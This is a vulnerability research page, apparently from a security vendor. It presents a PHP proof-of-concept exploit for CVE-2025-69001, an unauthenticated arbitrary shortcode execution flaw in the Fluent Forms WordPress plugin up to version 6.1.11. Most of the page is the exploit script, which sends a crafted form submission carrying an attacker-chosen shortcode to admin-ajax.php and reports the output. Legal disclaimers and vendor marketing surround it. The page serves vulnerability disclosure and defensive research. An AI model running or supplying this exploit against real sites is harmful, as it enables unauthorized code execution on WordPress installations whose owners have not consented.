Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69001 - FluentForm <= 6.1.11 - Unauthenticated Arbitrary Shortcode Execution

<?php
/**
 * Proof of Concept for CVE-2025-69001
 * Targets Fluent Forms WordPress plugin <= 6.1.11
 * Demonstrates unauthenticated arbitrary shortcode execution
 *
 * Usage: php poc.php --url https://target.com --form-id 1 --shortcode '[shortcode param="malicious"]'
 */

// Configuration
$target_url = 'https://target.com'; // Change this to target WordPress site
$form_id = 1; // Change to target form ID
$malicious_shortcode = '[shortcode attribute="malicious_payload"]'; // Change to desired shortcode

// WordPress AJAX endpoint for form submissions
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the malicious payload
// The attack exploits fields that map to confirmation message content
$payload = [
    'action' => 'fluentform_submit',
    'form_id' => $form_id,
    // Form data structure - varies based on form configuration
    // Attackers need to map to fields that affect confirmation message
    'form_data' => [
        'text_field' => $malicious_shortcode,
        // Additional fields may be required depending on form validation
    ]
];

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing

// Add headers to mimic legitimate WordPress request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);

// Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($http_code === 200) {
    echo "[+] Attack sent successfullyn";
    echo "[+] HTTP Response Code: $http_coden";
    echo "[+] Response: " . substr($response, 0, 500) . "n";
    
    // Parse JSON response to check for success
    $json_response = json_decode($response, true);
    if ($json_response && isset($json_response['result']['message'])) {
        echo "[+] Shortcode execution attempted in confirmation messagen";
        // The shortcode output may appear in the message field
        echo "[+] Message content: " . $json_response['result']['message'] . "n";
    }
} else {
    echo "[-] Attack failed with HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School